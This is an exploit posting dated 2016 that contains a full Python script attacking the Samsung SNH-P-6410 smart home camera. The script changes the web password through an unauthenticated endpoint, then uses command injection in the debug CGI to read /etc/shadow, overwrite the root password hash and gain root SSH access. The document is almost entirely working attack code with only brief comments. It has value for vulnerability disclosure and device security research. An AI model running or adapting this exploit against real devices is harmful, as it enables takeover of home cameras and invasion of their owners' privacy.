Samsung Smart Home Camera SNH-P-6410 Command Injection
Posted on 14 August 2016
import urllib, urllib2, crypt, time # New password for web interface web_password = 'admin' # New password for root root_password = 'root' # IP of the camera ip = '192.168.12.61' # These are all for the Smartthings bundled camera realm = 'iPolis' web_username = 'admin' base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;' # Take a command and use command injection to run it on the device def run_command(command): # Convert a normal command into one using bash brace expansion # Can't send spaces to debugcgi as it doesn't unescape command_brace = '{' + ','.join(command.split(' ')) + '}' command_url = base_url + command_brace # HTTP digest auth for urllib2 authhandler = urllib2.HTTPDigestAuthHandler() authhandler.add_password(realm, command_url, web_username, web_password) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) return urllib2.urlopen(command_url) # Step 1 - change the web password using the unauthed vuln found by zenofex data = urllib.urlencode({ 'data' : 'NEW;' + web_password }) urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data) # Need to sleep or the password isn't changed time.sleep(1) # Step 2 - find the current root password hash shadow = run_command('cat /etc/shadow') for line in shadow: if line.startswith('root:'): current_hash = line.split(':')[1] # Crypt the new password new_hash = crypt.crypt(root_password, '00') # Step 3 - Use sed to search and replace the old for new hash in the passwd # This is done because the command injection doesn't allow a lot of different URL encoded chars run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow') # Step 4 - check that the password has changed shadow = run_command('cat /etc/shadow') for line in shadow: if line.startswith('root:'): current_hash = line.split(':')[1] if current_hash <> new_hash: print 'Error! - password not changed' # Step 5 - ssh to port 1022 with new root password!
